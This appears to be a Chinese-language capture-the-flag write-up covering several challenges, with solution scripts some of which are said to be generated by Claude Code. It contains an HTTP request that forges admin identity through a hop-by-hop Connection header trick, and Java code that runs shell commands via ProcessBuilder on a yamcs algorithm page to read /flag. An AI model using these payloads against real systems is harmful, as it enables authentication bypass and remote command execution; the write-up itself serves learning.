SecretVault
审计源代码,发现对 X-User 请求头的提取有逻辑问题,只需要传空头即可伪造成 admin 身份,获取 flag:
Payload:
GET /dashboard HTTP/1.1
Host: 47.93.103.116:39040
Connection: close,X-User
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJBdXRob3JpemVyIiwic3ViIjoiMSIsImV4cCI6MTc2MDc1ODkwNywibmJmIjoxNzYwNzU1MzA3LCJpYXQiOjE3NjA3NTUzMDcsInVpZCI6IjEifQ.SVosiGo7VXuKuRN-YkQO9EWUt_WAmG7jMAbCRPHfHMs
Personal Vault
使用 Lovelymem 工具加载镜像后,直接搜索 flag{ 字符串即可获得 flag:
Check-little
Claude Code 自行审计生成解密脚本:
from Crypto.Util.number import *
from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES
import gmpy2
N = 18795243691459931102679430418438577487182868999316355192329142792373332586982081116157618183340526639820832594356060100434223256500692328397325525717520080923556460823312550686675855168462443732972471029248411895298194999914208659844399140111591879226279321744653193556611846787451047972910648795242491084639500678558330667893360111323258122486680221135246164012614985963764584815966847653119900209852482555918436454431153882157632072409074334094233788430465032930223125694295658614266389920401471772802803071627375280742728932143483927710162457745102593163282789292008750587642545379046283071314559771249725541879213
c = 10533300439600777643268954021939765793377776034841545127500272060105769355397400380934565940944293911825384343828681859639313880125620499839918040578655561456321389174383085564588456624238888480505180939435564595727140532113029361282409382333574306251485795629774577583957179093609859781367901165327940565735323086825447814974110726030148323680609961403138324646232852291416574755593047121480956947869087939071823527722768175903469966103381291413103667682997447846635505884329254225027757330301667560501132286709888787328511645949099996122044170859558132933579900575094757359623257652088436229324185557055090878651740
iv = b'\x91\x16\x04\xb9\xf0RJ\xdd\xf7}\x8cW\xe7n\x81\x8d'
ciphertext = bytes.fromhex('bf87027bc63e69d3096365703a6d47b559e0364b1605092b6473ecde6babeff2')
p = gmpy2.gcd(c, N)
if 1 < p < N:
q = N // p
e = 3
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
key = pow(c, d, N)
aes_key = long_to_bytes(key)[:16]
try:
cipher = AES.new(key=aes_key, iv=iv, mode=AES.MODE_CBC)
plaintext = cipher.decrypt(ciphertext)
flag = unpad(plaintext, 16).decode()
print(flag)
except Exception as e:
print(f"[-] AES 解密失败: {e}")
The_Interrogation_Room
Claude Code 自行审计生成解题脚本:
import sys
import socket
import hashlib
import itertools
import random
import time
HOST = "47.94.202.253"
PORT = 24666
TIMEOUT = 10.0
ALNUM = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
def recv_until(sock, marker=b'\n', timeout=TIMEOUT):
sock.settimeout(timeout)
data = b""
try:
while True:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
if data.endswith(marker):
break
except socket.timeout:
pass
return data.decode(errors='ignore')
def recvline(sock):
return recv_until(sock, b'\n')
def sendline(sock, s):
if isinstance(s, str):
s = s.encode()
if not s.endswith(b'\n'):
s = s + b'\n'
sock.sendall(s)
def solve_pow(line):
try:
prefix = "sha256(XXXX+"
a = line.index(prefix) + len(prefix)
b = line.index(")", a)
suffix = line[a:b]
heq = "=="
c = line.index(heq, b) + len(heq)
hexdigest = line[c:].strip()
hexdigest = hexdigest.split()[-1]
except Exception as e:
raise RuntimeError("Cannot parse POW line: " + repr(line)) from e
for xs in itertools.product(ALNUM, repeat=4):
xxxx = "".join(xs).encode()
candidate = hashlib.sha256(xxxx + suffix.encode()).hexdigest()
if candidate == hexdigest:
return xxxx.decode()
raise RuntimeError("POW not solved")
def bracket(s):
return "( " + s + " )"
def bit_expr(i):
return "( S{} == 1 )".format(i)
def xor_fold(indices):
if len(indices) == 0:
return "( 0 == 1 )" # false
expr = bit_expr(indices[0])
for j in indices[1:]:
right = bit_expr(j)
expr = "( ( " + expr + " == " + right + " ) == 0 )"
return expr
def matrix_min_distance(rows):
minw = 17
for m in range(1, 1 << 8):
c = [0] * 17
for bit in range(8):
if (m >> bit) & 1:
pass
return None
def find_good_matrix(seed=None, tries=20000):
rnd = random.Random(seed)
for attempt in range(tries):
A = [[rnd.randint(0, 1) for _ in range(8)] for __ in range(17)]
minw = 17
for m in range(1, 1 << 8):
c = []
for r in range(17):
s = 0
row = A[r]
val = 0
for bit in range(8):
if (m >> bit) & 1:
val ^= row[bit]
c.append(val)
w = sum(c)
if w < minw:
minw = w
if minw < 5:
break
if minw >= 5:
return A
raise RuntimeError("Failed to find matrix with d>=5 in {} tries".format(tries))
def encode_with_A(A, s):
c = []
for r in range(17):
val = 0
for bit in range(8):
if (s >> bit) & 1:
val ^= A[r][bit]
c.append(val)
return c
def decode_with_y(A, y):
candidates = []
for s in range(256):
c = encode_with_A(A, s)
dist = sum(1 for i in range(17) if c[i] != y[i])
if dist <= 2:
candidates.append((s, dist))
candidates.sort(key=lambda x: x[1])
return candidates
def run_client(host, port):
s = socket.create_connection((host, port), timeout=TIMEOUT)
try:
data = ""
for _ in range(8):
line = recvline(s)
if not line:
break
data += line
if "sha256(XXXX+" in line:
pow_line = line.strip()
break
else:
while True:
line = recvline(s)
if not line:
break
data += line
if "sha256(XXXX+" in line:
pow_line = line.strip()
break
if 'pow_line' not in locals():
for l in data.splitlines():
if "sha256(XXXX+" in l:
pow_line = l.strip()
break
if 'pow_line' in locals():
xxxx = solve_pow(pow_line)
nxt = recvline(s)
sendline(s, xxxx)
resp = recvline(s)
if "wrong" in resp.lower():
raise RuntimeError("POW failed")
else:
pass
print("[*] Searching for a good A (may take a few seconds)...")
A = find_good_matrix(seed=int(time.time()) ^ random.getrandbits(16), tries=5000)
print("[*] Found good matrix A with min distance >=5")
exprs = []
for r in range(17):
idxs = [i for i, bit in enumerate(A[r]) if bit]
if len(idxs) == 0:
ex = "( 0 == 1 )"
elif len(idxs) == 1:
ex = "( S{} == 1 )".format(idxs[0])
else:
ex = xor_fold(idxs)
exprs.append(ex)
rounds_done = 0
while True:
line = recvline(s)
if not line:
break
print(line.strip())
if "Ask your question:" in line:
answers = []
for i in range(17):
sendline(s, exprs[i])
got = recvline(s)
attempts = 0
while "Prisoner's response:" not in got and attempts < 6:
nxt = recvline(s)
if not nxt:
break
got += nxt
attempts += 1
found = None
for l in got.splitlines():
if "Prisoner's response:" in l:
if "True" in l:
found = 1
elif "False" in l:
found = 0
else:
if "true" in l.lower():
found = 1
elif "false" in l.lower():
found = 0
if found is None:
tok = got.strip().split()[-1]
if tok.lower().startswith("true"):
found = 1
elif tok.lower().startswith("false"):
found = 0
else:
found = 0
answers.append(found)
time.sleep(0.01)
y = answers
cands = decode_with_y(A, y)
if len(cands) == 0:
print("[!] No candidate within 2 errors, aborting this round.")
best = None
bestd = 999
for s_val in range(256):
c = encode_with_A(A, s_val)
d = sum(1 for i in range(17) if c[i] != y[i])
if d < bestd:
bestd = d
best = s_val
s_val = best
secret_bits = [(s_val >> i) & 1 for i in range(8)]
else:
s_val = cands[0][0]
secret_bits = [(s_val >> i) & 1 for i in range(8)]
out_line = " ".join(str(int(b)) for b in secret_bits)
sendline(s, out_line)
post = recvline(s)
print(post.strip())
if "fell for my deception" in post or "fell for" in post:
print("[!] Round failed; server rejected our revealed secrets.")
return
continue
if "Now reveal the true secrets" in line:
try:
secret_bits = [(s_val >> i) & 1 for i in range(8)]
out_line = " ".join(str(int(b)) for b in secret_bits)
sendline(s, out_line)
except Exception:
sendline(s, "0 0 0 0 0 0 0 0")
post = recvline(s)
print(post.strip())
continue
if "flag" in line.lower() or "hidden location" in line.lower() or "ultimate prize" in line.lower():
tail = recvline(s)
print(tail.strip())
return
finally:
try:
s.close()
except:
pass
if __name__ == "__main__":
run_client(HOST, PORT)
yamcs
Algorithms 模块下的 myproject/copySunsensor 页面可以执行 Java 代码:
尝试执行系统命令,在 Trace 栏中即可看到输出:
try {
java.lang.ProcessBuilder pb = new java.lang.ProcessBuilder("/bin/sh", "-c", "cat /flag");
pb.redirectErrorStream(true);
java.lang.Process p = pb.start();
java.io.InputStream ins = p.getInputStream();
java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
int n;
byte[] buf = new byte[4096];
while ((n = ins.read(buf)) != -1) {
baos.write(buf, 0, n);
}
p.waitFor();
String output = new String(baos.toByteArray(), java.nio.charset.StandardCharsets.UTF_8);
out0.setStringValue(output);
} catch (java.io.IOException e) {
out0.setStringValue(e.getMessage());
} catch (java.lang.InterruptedException e) {
java.lang.Thread.currentThread().interrupt();
out0.setStringValue(e.getMessage());
}
谍影重重 6.0
使用 Wireshark 的 RTP 流分析提取出一段音频:
将音频文件中包含的八进制数据转换为 ASCII 字符,即为 Secret 压缩包的解压密码:
5f3eb916bf08e610aeb09f60bc955bd8
解压后得到 绝密录音.mp3 文件,录音内容为:
分析可得:
- 时间:(廿四菊花开前,辰时正过三刻)10 月 24 日上午 8 点 45 分
- 地点:(双里湖西岸南山茶铺)双鲤湖西岸南山茶铺
- 背景:1949 年 10 月 24 日金门战役
按格式拼接计算哈希值即得到 flag:
flag{2a97dec80254cdb5c526376d0c683bdd}